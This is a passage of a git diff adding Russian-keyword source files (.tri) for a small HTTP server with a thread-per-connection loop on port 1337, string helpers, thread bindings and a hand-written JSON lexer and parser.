} + } + + вернуть обращение +} + +фн разобрать хттп ответ*(с: тцп.ТцпСоединение): ХттпОтвет { + пусть сколько читаем = 1024 + пусть прочитано := 0 + пусть ответ = ХттпОтвет{} + пусть данные := "" + пусть первая линия := "" + пусть добрались до тела := ложь + пусть размер контента: Цел64 := -1 + + пока истина { + пусть сколько прочитать: Цел64 := -1 + если размер контента > 0 & добрались до тела { + сколько прочитать := размер контента - прочитано + } + + если сколько прочитать = 0 { + вернуть ответ + } + + пусть новые данные = с.прочитать(сколько читаем) + прочитано := прочитано + длина(новые данные) + если длина(новые данные) = 0 { + вернуть ответ + } + + данные := строка.собрать(данные, новые данные) + + если ~ добрались до тела { + пока длина(данные) > 0 { + пусть конец строки = строка.индекс(данные, 0, "\n") + + если конец строки = -1 { + прервать + } + + пусть линия = строка.обрезать пробельные символы(строка.извлечь(данные, 0, конец строки)) + данные := строка.извлечь(данные, конец строки + 1, длина(данные(:Строка8)) - конец строки) + + если линия = "" { + если размер контента > 0 { + добрались до тела := истина + прочитано := длина(данные(:Строка8)) + ответ.туловище := данные + данные := "" + + прервать + } иначе { + вернуть ответ + } + } + + если первая линия = "" { + первая линия := линия + + пусть части = строка.разобрать(первая линия, " ") + + если длина(части) >= 1 { ответ.версия := части[0] } + если длина(части) >= 2 { + пусть новый код := 0 + пусть номер байта := 0 + если строка.извлечь цел(части[1], номер байта, новый код) { + ответ.код := новый код + } + } + если длина(части) >= 3 { + цикл [номер]часть среди части { + если номер >= 2 { + если номер > 2 { + ответ.состояние := строка.собрать(ответ.состояние, " ") + } + ответ.состояние := строка.собрать(ответ.состояние, часть) + } + } + } + } иначе { + пусть заглавие = ХттпЗаглавие{} + + строка.разделить(линия, ":", заглавие.имя, заглавие.значение) + + заглавие.имя := строка.обрезать пробельные символы(заглавие.имя) + заглавие.значение := строка.обрезать пробельные символы(заглавие.значение) + + если размер контента < 0 & заглавие.имя = "Content-Length" { + пусть новый размер контента := 0 + пусть номер байта := 0 + + если строка.извлечь цел(заглавие.значение, номер байта, новый размер контента) { + размер контента := новый размер контента + } + } + + ответ.заглавия.добавить(заглавие) + } + } + } иначе { + ответ.туловище := строка.соединить(ответ.туловище, данные) + } + } + + вернуть ответ +} diff --git a/исх/сеть/хттп/типы.tri b/исх/сеть/хттп/типы.tri new file mode 100644 index 0000000..4b732a1 --- /dev/null +++ b/исх/сеть/хттп/типы.tri @@ -0,0 +1,24 @@ +модуль хттп + +тип ХттпЗаглавие* = класс { + имя*: Строка := "" + значение*: Строка := "" +} + +тип ХттпЗаглавия* = []ХттпЗаглавие + +тип ХттпОбращение* = класс { + метод*: Строка := "" + путь*: Строка := "" + версия*: Строка := "" + заглавия*: ХттпЗаглавия := ХттпЗаглавия[] + туловище*: Строка := "" +} + +тип ХттпОтвет* = класс { + версия*: Строка := "HTTP/1.1" + код*: Цел64 := 200 + состояние*: Строка := "OK" + заглавия*: ХттпЗаглавия := ХттпЗаглавия[] + туловище*: Строка := "" +} diff --git a/исх/спринтф/спринтф.tri b/исх/спринтф/спринтф.tri new file mode 100644 index 0000000..0b372d4 --- /dev/null +++ b/исх/спринтф/спринтф.tri @@ -0,0 +1,9 @@ +модуль спринтф + +импорт "стд::строки" + +фн ф*(формат: Строка, список: ...*): Строка { + пусть сб = строки.Сборщик{} + сб.ф(формат, список...) + вернуть сб.строка() +} diff --git a/исх/сраб.tri b/исх/сраб.tri new file mode 100644 index 0000000..2b9e371 --- /dev/null +++ b/исх/сраб.tri @@ -0,0 +1,78 @@ +модуль сраб + +импорт "стд::вывод" +импорт "стд::комстрока" +импорт "исх/спринтф" +импорт "исх/струя" +импорт "исх/сеть/тцп" +импорт "исх/сеть/хттп" +импорт "исх/маршруты" +импорт "исх/сборщик-мусора" +импорт "исх/миграции" +импорт "исх/картотека" +импорт "исх/вперед-назад" +импорт "исх/стд-вперед-назад" +импорт "исх/отдых" + +пусть маршрутизатор = маршруты.получить маршрутизатор() + +фн обработать тцп подключение(соединение полиморф: *) { + пусть соединение = соединение полиморф(:тцп.ТцпСоединение) + пусть обращение = хттп.разобрать хттп обращение(соединение) + пусть ответ = маршрутизатор.обработать обращение(обращение) + + // вывод.ф("$стр $стр -> $цел\n", обращение.метод, обращение.путь, ответ.код) + + хттп.отправить хттп ответ(соединение, ответ) + соединение.закрыть() +} + +фн обработать стдвнутрь подключение() { + пусть обращение = хттп.разобрать хттп обращение(стд-вперед-назад.СтдВнутрь{}) + + // вывод.ф("$стр $стр\n", обращение.метод, обращение.путь) + + пусть ответ = маршрутизатор.обработать обращение(обращение) + пусть данные = хттп.сериализовать хттп ответ(ответ) + + стд-вперед-назад.ошибка(данные) +} + +вход { + комстрока.логическая настройка("подшефный", ложь, "") + комстрока.логическая настройка("роанапур", ложь, "") + комстрока.разобрать() + + пусть подшефный = комстрока.логическое значение("подшефный") + пусть роанапур = комстрока.логическое значение("роанапур") + + если подшефный { + обработать стдвнутрь подключение() + } иначе если роанапур { + миграции.мигрировать(картотека.зайти()) + } иначе { + миграции.мигрировать(картотека.зайти()) + + пусть номер причала = 1337 + + вывод.ф("Готовим сервер у причала $цел\n", номер причала) + + пусть сервер = тцп.создать сервер(номер причала) + пусть обработано запросов := 0 + + пока истина { + пусть подключение = сервер.принять чертово соединение() + пусть новая струя = струя.новая струя(обработать тцп подключение, подключение) + струя.отсоединить струю(новая струя) + + обработано запросов++ + + если обработано запросов > 100000 { + вывод.ф("Вы используете пробную версию программы. Пожалуйста, приобретите полную версию для продолжения использования.\n") + прервать + } + } + + вывод.ф("Котенок умер\n") + } +} diff --git a/исх/стд-вперед-назад/ввод.tri b/исх/стд-вперед-назад/ввод.tri new file mode 100644 index 0000000..ebe7539 --- /dev/null +++ b/исх/стд-вперед-назад/ввод.tri @@ -0,0 +1,23 @@ +модуль стд-вперед-назад + +// c:include "stdin.h" + +фн stdin_read_to_string(bytes: Цел64): Строка @внеш +фн stderr_write_string(data: Строка) @внеш + +тип СтдВнутрь* = класс { + +} + +фн (внутрь: СтдВнутрь) прочитать*(сколько: Цел64): Строка { + вернуть прочитать(сколько) +} + +фн прочитать*(сколько: Цел64): Строка { + вернуть stdin_read_to_string(сколько) +} + +фн ошибка*(данные: Строка) { + stderr_write_string(данные) +} + diff --git a/исх/строка/строка.tri b/исх/строка/строка.tri new file mode 100644 index 0000000..04248c6 --- /dev/null +++ b/исх/строка/строка.tri @@ -0,0 +1,184 @@ +модуль строка + +импорт "стд::строки" +импорт "стд::юникод" +импорт "исх/массивы" + +тип Байты = []Байт + +фн tri_substring(с: Строка8, первый-байт: Цел64, число-байтов: Цел64): Строка @внеш +фн tri_substring_from_bytes(байты: Байты, первый-байт: Цел64, число-байтов: Цел64): Строка @внеш + +фн заменить*(с: Строка, подстрока: Строка, замена: Строка): Строка { + надо длина(подстрока) > 0 иначе вернуть с + + пусть с8 = с(:Строка8) + пусть п8 = подстрока(:Строка8) + + пусть № := индекс(с, 0, подстрока) + надо № >= 0 иначе вернуть с + + пусть сб = строки.Сборщик{} + пусть №-старт := 0 + пока истина { + сб.добавить строку(строки.извлечь(с8(:Строка), №-старт, № - №-старт)) + сб.добавить строку(замена) + + №-старт := № + длина(п8) + № := индекс(с, №-старт, подстрока) + надо № >= 0 иначе прервать + надо №-старт < длина(замена) иначе прервать + } + сб.добавить строку(строки.извлечь(с8(:Строка), №-старт, длина(с8) - №-старт)) + + вернуть сб.строка() +} + +фн разобрать*(с: Строка, разделитель: Строка): массивы.Строки { + пусть р8 = разделитель(:Строка8) + + выбор длина(р8) { + когда 0: вернуть массивы.Строки[с] + когда 1: + вернуть разобрать1(с, р8[0]) + другое + авария("не реализовано - длина разделителя > 1") + } + вернуть массивы.Строки[] +} + +фн соединить*(разделитель: Строка, строчки: ...Строка): Строка { + вернуть строки.соединить(разделитель, строчки...) +} + +фн ф*(формат: Строка, аргументы: ...*): Строка { + пусть сб = строки.Сборщик{} + сб.ф(формат, аргументы...) + вернуть сб.строка() +} + +фн разобрать1(с: Строка, разделитель: Байт): массивы.Строки { + пусть рез = массивы.Строки[] + пусть с8 = с(:Строка8) + пусть № := 0 + пусть №-разд := -1 + пока № < длина(с8) { + если с8[№] = разделитель { + если №-разд + 1 = № { + рез.добавить("") + } иначе { + рез.добавить(tri_substring(с8, №-разд+1, № - №-разд - 1)) + } + №-разд := № + } + №++ + } + рез.добавить(tri_substring(с8, №-разд+1, длина(с8) - №-разд - 1)) + + вернуть рез +} + +фн собрать*(список строк: ...Строка): Строка { + надо длина(список строк) > 0 иначе вернуть "" + + пусть размер := 0 + пусть № := 0 + пока № < длина(список строк) { + размер := размер + длина(список строк[№](:Строка8)) + №++ + } + + пусть сб = строки.Сборщик{} + № := 0 + пока № < длина(список строк) { + сб.добавить строку(список строк[№]) + №++ + } + + вернуть сб.строка() +} + +фн индекс*(с: Строка, №-старт: Цел64, подстрока: Строка): Цел64 { + вернуть строки.индекс(с, №-старт, подстрока) +} + +фн извлечь*(с: Строка, №-байта: Цел64, число-байтов: Цел64): Строка { + вернуть строки.извлечь(с, №-байта, число-байтов) +} + +фн обрезать пробельные символы*(с: Строка): Строка { + + пусть с8 = с(:Строка8) + пусть №1 := 0 + пока №1 < длина(с8) { + надо с8[№1] < 0x80(:Байт) иначе прервать + надо юникод.пробельный символ?(с8[№1](:Символ)) иначе прервать + №1++ + } + + пусть №2 := длина(с8) + пока №2 > №1 { + пусть байт = с8[№2-1] + надо байт < 0x80(:Байт) иначе прервать + надо юникод.пробельный символ?(байт(:Символ)) иначе прервать + №2-- + } + + вернуть tri_substring(с8, №1, №2 - №1) +} + +фн разделить*(с: Строка, разделитель: Строка, первая := Строка, вторая := Строка): Лог { + + пусть и = индекс(с, 0, разделитель) + надо и >= 0 иначе { + первая := с + вторая := "" + вернуть ложь + } + + пусть с8 = с(:Строка8) + пусть р8 = разделитель(:Строка8) + + первая := tri_substring(с8, 0, и) + вторая := tri_substring(с8, и + длина(р8), длина(с8) - (и +длина(р8))) + + вернуть истина +} + +фн извлечь цел*(с: Строка, №-байта := Цел64, рез := Цел64): Лог { + рез := 0 + + пусть с8 = с(:Строка8) + надо №-байта < длина(с8) иначе вернуть ложь + + пусть нег = с8[№-байта] = '-'(:Байт) + если нег | с8[№-байта] = '+'(:Байт) { + №-байта++ + надо №-байта < длина(с8) иначе вернуть ложь + } + + пусть сим := с8[№-байта](:Символ) + надо сим >= '0' & сим <= '9' иначе вернуть ложь + + пусть число := 0 + пока истина { + пусть цифра = сим(:Цел64) - '0'(:Цел64) + + // проверка выхода за границу + надо число <= (0x7FFFFFFFFFFFFFFF(:Цел64) - цифра) / 10 иначе вернуть ложь + + число := число*10 + цифра + №-байта++ + если №-байта >= длина(с8) { + если нег { + число := - число + } + рез := число + вернуть истина + } + сим := с8[№-байта](:Символ) + + надо сим >= '0' & сим <= '9' иначе прервать + } + вернуть ложь +} diff --git a/исх/струя/струя-внутр/внутр.tri b/исх/струя/струя-внутр/внутр.tri new file mode 100644 index 0000000..b0f84bd --- /dev/null +++ b/исх/струя/струя-внутр/внутр.tri @@ -0,0 +1,3 @@ +модуль струя-внутр + +тип Струя* = фн (аргумент: *) diff --git a/исх/струя/струя.tri b/исх/струя/струя.tri new file mode 100644 index 0000000..de2b5da --- /dev/null +++ b/исх/струя/струя.tri @@ -0,0 +1,21 @@ +модуль струя + +импорт "исх/струя/струя-внутр" + +// c:include "pstruya.h" + +фн tri_thread_create(струя: струя-внутр.Струя, аргумент: *): Цел64 @внеш +фн tri_thread_join(ид: Цел64) @внеш +фн tri_thread_detach(ид: Цел64) @внеш + +фн новая струя*(струя: струя-внутр.Струя, аргумент: *): Цел64 { + вернуть tri_thread_create(струя, аргумент) +} + +фн ждать струю*(ид: Цел64) { + tri_thread_join(ид) +} + +фн отсоединить струю*(ид: Цел64) { + tri_thread_detach(ид) +} diff --git a/исх/форматы/джесон/лексер.tri b/исх/форматы/джесон/лексер.tri new file mode 100644 index 0000000..b993d22 --- /dev/null +++ b/исх/форматы/джесон/лексер.tri @@ -0,0 +1,296 @@ +модуль джесон + +импорт "стд::строки" +импорт "исх/массивы" +импорт "исх/спринтф" + +// да, это тоже цифры. просто поверьте +пусть цифры = массивы.Строки["1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "+"] + +тип ДжесонТокен = класс { + +} + +фн (токен: ДжесонТокен) в строку(): Строка { + вернуть "пустой токен. где вы его взяли вообще?" +} + +тип ДжесонТокены = []ДжесонТокен + +фн массив токенов в строку(токены: ДжесонТокены): Строка { + пусть рез := "" + + цикл [номер]токен среди токены { + рез := строки.собрать(рез, токен.в строку()) + } + + вернуть рез +} + +тип ТокенФигурнаяСкобка = класс(ДжесонТокен) { + закрывающая: Лог := ложь +} + +фн (токен: ТокенФигурнаяСкобка) в строку(): Строка { + если токен.закрывающая { + вернуть "}" + } иначе { + вернуть "{" + } +} + +тип ТокенКвадратнаяСкобка = класс(ДжесонТокен) { + закрывающая: Лог := ложь +} + +фн (токен: ТокенКвадратнаяСкобка) в строку(): Строка { + если токен.закрывающая { + вернуть "]" + } иначе { + вернуть "[" + } +} + +тип ТокенЗапятая = класс(ДжесонТокен) { + +} + +фн (токен: ТокенЗапятая) в строку(): Строка { + вернуть "," +} + +тип ТокенДвоеточие = класс(ДжесонТокен) { + +} + +фн (токен: ТокенДвоеточие) в строку(): Строка { + вернуть ":" +} + +тип ТокенЧисло = класс(ДжесонТокен) { + значение: Цел64 := 0 +} + +фн (токен: ТокенЧисло) в строку(): Строка { + вернуть спринтф.ф("$цел", токен.значение) +} + +тип ТокенСтрока = класс(ДжесонТокен) { + значение: Строка := "" +} + +фн (токен: ТокенСтрока) в строку(): Строка { + пусть строка := строки.заменить все(токен.значение, "\\", "\\\\") + строка := строки.заменить все(строка, "\"", "\\\"") + + вернуть спринтф.ф("\"$стр\"", строка) +} + +тип ТокенБульБуль = класс(ДжесонТокен) { + значение: Лог := ложь +} + +фн (токен: ТокенБульБуль) в строку(): Строка { + если токен.значение { + вернуть "true" + } иначе { + вернуть "false" + } +} + +фн съесть символ(стр := Строка, ошибка := Строка): Строка { + пусть символ = посмотреть но не трогать(стр, ошибка) + если ошибка # "" { вернуть "" } + + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + вернуть символ +} + +фн съесть конкретный символ(стр := Строка, ожидаемый символ: Строка, ошибка := Строка): Строка { + пусть символ = посмотреть конкретный символ но не трогать(стр, ожидаемый символ, ошибка) + если ошибка # "" { вернуть "" } + + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + вернуть символ +} + +фн посмотреть но не трогать(стр := Строка, ошибка := Строка): Строка { + если длина(стр) = 0 { + ошибка := "нежданный конец строки" + вернуть "" + } + + пусть символ := строки.извлечь(стр, 0, 1) + вернуть символ +} + +фн посмотреть конкретный символ но не трогать (стр := Строка, ожидаемый символ: Строка, ошибка := Строка): Строка { + если длина(стр) = 0 { + ошибка := спринтф.ф("нежданный конец строки, ожидался символ '$символ'", ожидаемый символ) + вернуть "" + } + + пусть символ = строки.извлечь(стр, 0, 1) + если символ # ожидаемый символ { + ошибка := спринтф.ф("ожидался символ '$стр', а пришёл '$символ'", ожидаемый символ, символ) + вернуть "" + } + + вернуть символ +} + +фн читать число(стр := Строка, ошибка := Строка): Цел64 { + пусть число := "" + + пока истина { + пусть символ = посмотреть но не трогать(стр, ошибка) + если ошибка # "" { вернуть 0 } + + пусть является цифрой := ложь + пусть является знаком := ложь + + цикл [номер]цифра среди цифры { + если символ = цифра { + является цифрой := истина + прервать + } + } + + если является цифрой { + число := строки.собрать(число, символ) + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + } иначе { + если длина(число) = 0 { + ошибка := спринтф.ф("ожидалось число, а пришёл '$символ'", символ) + вернуть 0 + } + + пусть целое := 0 + пусть номер байта зачем он тебе нужен вообще глупая машина := 0 + пусть мне повезло = строки.извлечь цел(число, номер байта зачем он тебе нужен вообще глупая машина, целое) + + если ~мне повезло { + ошибка := спринтф.ф("ошибка преобразования числа '$число'", число) + } + + вернуть целое + } + } + + вернуть 0 +} + +фн читать строку(стр := Строка, ошибка := Строка): Строка { + съесть конкретный символ(стр, "\"", ошибка) + если ошибка # "" { вернуть "" } + + пусть экран := ложь + пусть строка := "" + + пока истина { + пусть символ = съесть символ(стр, ошибка) + если ошибка # "" { вернуть "" } + + если символ = "\\" { + экран := ~экран + } иначе если символ = "\"" & ~экран { + вернуть строка + } иначе { + экран := ложь + строка := строки.собрать(строка, символ) + } + } + + вернуть строка +} + +фн читать буль буль(стр := Строка, ошибка := Строка): Лог { + пусть истинаСтр = "true" + пусть ложьСтр = "false" + + если строки.есть префикс(стр, истинаСтр) { + стр := строки.извлечь(стр, длина(истинаСтр(:Строка8)), длина(стр(:Строка8)) - длина(истинаСтр(:Строка8))) + вернуть истина + } иначе если строки.есть префикс(стр, ложьСтр) { + стр := строки.извлечь(стр, длина(ложьСтр(:Строка8)), длина(стр(:Строка8)) - длина(ложьСтр(:Строка8))) + вернуть ложь + } иначе { + пусть символ = посмотреть но не трогать(стр, ошибка) + если ошибка # "" { вернуть ложь } + + ошибка := спринтф.ф("ожидалось 'true' или 'false', а пришёл '$символ'", символ) + вернуть ложь + } +} + +фн токенизировать(стр: Строка, ошибка := Строка): ДжесонТокены { + пусть токены = ДжесонТокены[] + пусть сколько открыто := 0 + + пока истина { + если длина(стр) = 0 & сколько открыто = 0 { + прервать + } + + пусть символ = посмотреть но не трогать(стр, ошибка) + если ошибка # "" { вернуть ДжесонТокены[] } + + пусть является цифрой := ложь + цикл [номер]цифра среди цифры { + если символ = цифра { + является цифрой := истина + прервать + } + } + + если символ = " " | символ = "\n" | символ = "\r" | символ = "\t" { + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + } иначе если символ = "{" { + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + + токены.добавить(ТокенФигурнаяСкобка{закрывающая: ложь}) + сколько открыто := сколько открыто + 1 + } иначе если символ = "}" { + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + + токены.добавить(ТокенФигурнаяСкобка{закрывающая: истина}) + сколько открыто := сколько открыто - 1 + } иначе если символ = "[" { + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + + токены.добавить(ТокенКвадратнаяСкобка{закрывающая: ложь}) + } иначе если символ = "]" { + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + + токены.добавить(ТокенКвадратнаяСкобка{закрывающая: истина}) + } иначе если символ = "," { + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + + токены.добавить(ТокенЗапятая{}) + } иначе если символ = ":" { + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + + токены.добавить(ТокенДвоеточие{}) + } иначе если является цифрой { + пусть число = читать число(стр, ошибка) + если ошибка # "" { вернуть ДжесонТокены[] } + + токены.добавить(ТокенЧисло{значение: число}) + } иначе если символ = "\"" { + пусть строка = читать строку(стр, ошибка) + если ошибка # "" { вернуть ДжесонТокены[] } + + токены.добавить(ТокенСтрока{значение: строка}) + } иначе если символ = "t" | символ = "f" { + пусть буль = читать буль буль(стр, ошибка) + если ошибка # "" { вернуть ДжесонТокены[] } + + токены.добавить(ТокенБульБуль{значение: буль}) + } иначе { + ошибка := спринтф.ф("внезапный символ '$стр'", символ) + вернуть ДжесонТокены[] + } + } + + вернуть токены +} diff --git a/исх/форматы/джесон/парсер.tri b/исх/форматы/джесон/парсер.tri new file mode 100644 index 0000000..4fe8c58 --- /dev/null +++ b/исх/форматы/джесон/парсер.tri @@ -0,0 +1,259 @@ +модуль джесон + +импорт "исх/строка" +импорт "исх/спринтф" + +фн парсить массив(токены: ДжесонТокены, старт: Цел64, использовано токенов := Цел64, ошибка := Строка): ДжесонМногоЗначений { + пусть массив = ДжесонМногоЗначений{значения: ДжесонЗначения[]} + пусть текущий индекс := старт + + если текущий индекс >= длина(токены) { + ошибка := "неожиданный конец, ожидалась [" + вернуть ДжесонМногоЗначений{} + } + + пусть токен := токены[текущий индекс] + + выбор пусть т: тип токен { + когда ТокенКвадратнаяСкобка: + если т.закрывающая { + ошибка := спринтф.ф("ожидалась [, а получен $стр", токен.в строку()) + вернуть ДжесонМногоЗначений{} + } иначе { + текущий индекс++ + } + другое + ошибка := спринтф.ф("ожидалась [, а получен $стр", токен.в строку()) + вернуть ДжесонМногоЗначений{} + } + + пока текущий индекс < длина(токены) { + токен := токены[текущий индекс] + + пусть значение: ДжесонЗначение := ДжесонЗначение{} + + выбор пусть т: тип токен { + когда ТокенСтрока: + значение := ДжесонСтрока{значение: т.значение} + текущий индекс++ + когда ТокенЧисло: + значение := ДжесонЧисло{значение: т.значение} + текущий индекс++ + когда ТокенБульБуль: + значение := ДжесонЛог{значение: т.значение} + текущий индекс++ + когда ТокенКвадратнаяСкобка: + если т.закрывающая { + текущий индекс++ + использовано токенов := текущий индекс - старт + вернуть массив + } иначе { + ошибка := спринтф.ф("ожидалась значение или ], а получен $стр", токен.в строку()) + вернуть ДжесонМногоЗначений{} + } + когда ТокенФигурнаяСкобка: + если ~т.закрывающая { + пусть использовано := 0 + значение := парсить объект(токены, текущий индекс, использовано, ошибка) + + если ошибка # "" { вернуть ДжесонМногоЗначений{} } + + текущий индекс := текущий индекс + использовано + } + другое + ошибка := спринтф.ф("неожиданное значение: $стр", токен.в строку()) + вернуть ДжесонМногоЗначений{} + } + + массив.значения.добавить(значение) + + если текущий индекс >= длина(токены) { + ошибка := "неожиданный конец, ожидался , или ]" + вернуть ДжесонМногоЗначений{} + } + + токен := токены[текущий индекс] + + выбор пусть т: тип токен { + когда ТокенКвадратнаяСкобка: + если т.закрывающая { + текущий индекс++ + использовано токенов := текущий индекс - старт + вернуть массив + } иначе { + ошибка := спринтф.ф("ожидалась , или ], а получен $стр", токен.в строку()) + вернуть ДжесонМногоЗначений{} + } + когда ТокенЗапятая: + текущий индекс++ + другое + ошибка := спринтф.ф("ожидалась , или ], а получен $стр", токен.в строку()) + вернуть ДжесонМногоЗначений{} + } + } + + ошибка := "неожиданный конец во время парсинга массива" + вернуть ДжесонМногоЗначений{} +} + +фн парсить объект(токены: ДжесонТокены, старт: Цел64, использовано токенов := Цел64, ошибка := Строка): ДжесонОбъект { + пусть объект = ДжесонОбъект{} + пусть текущий индекс := старт + + если текущий индекс >= длина(токены) { + ошибка := "неожиданный конец, ожидалось {" + вернуть ДжесонОбъект{} + } + + пусть токен := токены[текущий индекс] + + выбор пусть т: тип токен { + когда ТокенФигурнаяСкобка: + если т.закрывающая { + ошибка := спринтф.ф("ожидалась {, а получен $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } иначе { + текущий индекс++ + } + другое + ошибка := спринтф.ф("ожидалась {, а получен $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } + + пока текущий индекс < длина(токены) { + токен := токены[текущий индекс] + пусть ключ := "" + + выбор пусть т: тип токен { + когда ТокенСтрока: + ключ := т.значение + текущий индекс++ + когда ТокенФигурнаяСкобка: + если т.закрывающая { + текущий индекс++ + использовано токенов := текущий индекс - старт + вернуть объект + } иначе { + ошибка := спринтф.ф("ожидалась строка (ключ), а получен $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } + другое + ошибка := спринтф.ф("ожидалась строка (ключ), а получен $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } + + если текущий индекс >= длина(токены) { + ошибка := "неожиданный конец, ожидалось :" + вернуть ДжесонОбъект{} + } + + токен := токены[текущий индекс] + выбор пусть т: тип токен { + когда ТокенДвоеточие: + текущий индекс++ + другое + ошибка := спринтф.ф("ожидался :, а получен $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } + + если текущий индекс >= длина(токены) { + ошибка := "неожиданный конец, ожидалось значение" + вернуть ДжесонОбъект{} + } + + токен := токены[текущий индекс] + + пусть значение: ДжесонЗначение := ДжесонЗначение{} + выбор пусть т: тип токен { + когда ТокенСтрока: + значение := ДжесонСтрока{значение: т.значение} + текущий индекс++ + когда ТокенЧисло: + значение := ДжесонЧисло{значение: т.значение} + текущий индекс++ + когда ТокенБульБуль: + значение := ДжесонЛог{значение: т.значение} + текущий индекс++ + когда ТокенФигурнаяСкобка: + если ~т.закрывающая { + пусть использовано := 0 + значение := парсить объект(токены, текущий индекс, использовано, ошибка) + + если ошибка # "" { вернуть ДжесонОбъект{} } + + текущий индекс := текущий индекс + использовано + } иначе { + ошибка := спринтф.ф("ожидалось значение, а получен $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } + когда ТокенКвадратнаяСкобка: + если т.закрывающая { + ошибка := спринтф.ф("ожидалось значение, а получен $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } иначе { + пусть использовано := 0 + значение := парсить массив(токены, текущий индекс, использовано, ошибка) + + если ошибка # "" { вернуть ДжесонОбъект{} } + текущий индекс := текущий индекс + использовано + } + другое + ошибка := спринтф.ф("неожиданное значение: $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } + + объект.значения.добавить(ДжесонКлючЗначение{ключ: ключ, значение: значение}) + + если текущий индекс >= длина(токены) { + ошибка := "неожиданный конец, ожидался , или }" + вернуть ДжесонОбъект{} + } + + токен := токены[текущий индекс] + + выбор пусть т: тип токен { + когда ТокенЗапятая: + текущий индекс++ + когда ТокенФигурнаяСкобка: + если т.закрывающая { + текущий индекс++ + использовано токенов := текущий индекс - старт + вернуть объект + } иначе { + ошибка := спринтф.ф("ожидалась , или }, а получен $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } + другое + ошибка := спринтф.ф("ожидалась , или }, а получен $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } + } + + ошибка := "неожиданный конец во время парсинга объекта" + вернуть ДжесонОбъект{} +} + +фн парсить токены(токены: ДжесонТокены, ошибка := Строка): ДжесонОбъект { + пусть использовано токенов := 0 + вернуть парсить объект(токены, 0, использовано токенов, ошибка) +} + +фн парсить*(строка: Строка, ошибка := Строка): ДжесонОбъект { + пусть токены = токенизировать(строка, ошибка) + + если ошибка # "" { + вернуть ДжесонОбъект{} + } + + пусть объект = парсить токены(токены, ошибка) + + если ошибка # "" { + вернуть ДжесонОбъект{} + } + + вернуть объект +} + +фн сериализовать*(объект: ДжесонОбъект): Строка { + вернуть массив токенов в строку(объект.в токены()) +} diff --git a/исх/форматы/джесон/типы.tri b/исх/форматы/джесон/типы.tri new file mode 100644 index 0000000..467b30c --- /dev/null +++ b/исх/форматы/джесон/типы.tri @@ -0,0 +1,205 @@ +модуль джесон + +импорт "исх/строка" +импорт "исх/спринтф" + +тип ДжесонЗначение* = класс { + +} + +фн (значение: ДжесонЗначение) в строку*(): Строка { + вернуть "пустое значение" +} + +фн (значение: ДжесонЗначение) в токены(): ДжесонТокены { + авария("попытка преобразовать в токены базовое значение") +} + +фн (значение: ДжесонЗначение) пустое*(): Лог { + вернуть истина +} + +фн (значение: ДжесонЗначение) строка*(): мб Строка { + вернуть пусто +} + +фн (значение: ДжесонЗначение) число*(): мб ДжесонЧисло { + вернуть пусто +} + +тип ДжесонЗначения* = []ДжесонЗначение + +тип ДжесонСтрока* = класс(ДжесонЗначение) { + значение*: Строка := "" +} + +фн (строка: ДжесонСтрока) в строку*(): Строка { + вернуть спринтф.ф("\"$стр\"", строка.значение) +} + +фн (строка: ДжесонСтрока) в токены(): ДжесонТокены { + вернуть ДжесонТокены[ТокенСтрока{значение: строка.значение}] +} + +фн (строка: ДжесонСтрока) пустое*(): Лог { + вернуть ложь +} + +фн (строка: ДжесонСтрока) строка*(): мб Строка { + вернуть строка.значение +} + +тип ДжесонЧисло* = класс(ДжесонЗначение) { + значение*: Цел64 := 0 +} + +фн (число: ДжесонЧисло) в строку*(): Строка { + вернуть спринтф.ф("$цел", число.значение) +} + +фн (число: ДжесонЧисло) в токены(): ДжесонТокены { + вернуть ДжесонТокены[ТокенЧисло{значение: число.значение}] +} + +фн (число: ДжесонЧисло) пустое*(): Лог { + вернуть ложь +} + +фн (число: ДжесонЧисло) число*(): мб ДжесонЧисло { + вернуть число +} + +тип ДжесонЛог* = класс(ДжесонЗначение) { + значение*: Лог := ложь +} + +фн (лог: ДжесонЛог) в строку*(): Строка { + если лог.значение { + вернуть "истина" + } + + вернуть "ложб" +} + +фн (лог: ДжесонЛог) в токены(): ДжесонТокены { + вернуть ДжесонТокены[ТокенБульБуль{значение: лог.значение}] +} + +фн (лог: ДжесонЛог) пустое*(): Лог { + вернуть ложь +} + +тип ДжесонМногоЗначений* = класс(ДжесонЗначение) { + значения*: ДжесонЗначения = ДжесонЗначения[] +} + +фн (значения: ДжесонМногоЗначений) в строку*(): Строка { + пусть выходная строка := "" + + цикл [номер]значение среди значения.значения { + если номер > 0 { + выходная строка := спринтф.ф("$стр, ", выходная строка) + } + + выходная строка := строка.собрать(выходная строка, значение.в строку()) + } + + вернуть спринтф.ф("[$стр]", выходная строка) +} + +фн (значения: ДжесонМногоЗначений) в токены(): ДжесонТокены { + пусть токены = ДжесонТокены[ТокенКвадратнаяСкобка{закрывающая: ложь}] + + цикл [номер]значение среди значения.значения { + если номер > 0 { + токены.добавить(ТокенЗапятая{}) + } + + токены.добавить(значение.в токены()...) + } + + токены.добавить(ТокенКвадратнаяСкобка{закрывающая: истина}) + + вернуть токены +} + +фн (значения: ДжесонМногоЗначений) пустое*(): Лог { + вернуть длина(значения.значения) = 0 +} + +тип ДжесонОбъект* = класс(ДжесонЗначение) { + значения*: ДжесонКлючЗначения := ДжесонКлючЗначения[] +} + +фн (объект: ДжесонОбъект) в строку*(): Строка { + пусть выходная строка := "" + + цикл [номер]значение среди объект.значения { + если номер > 0 { + выходная строка := спринтф.ф("$стр,\n", выходная строка) + } иначе { + 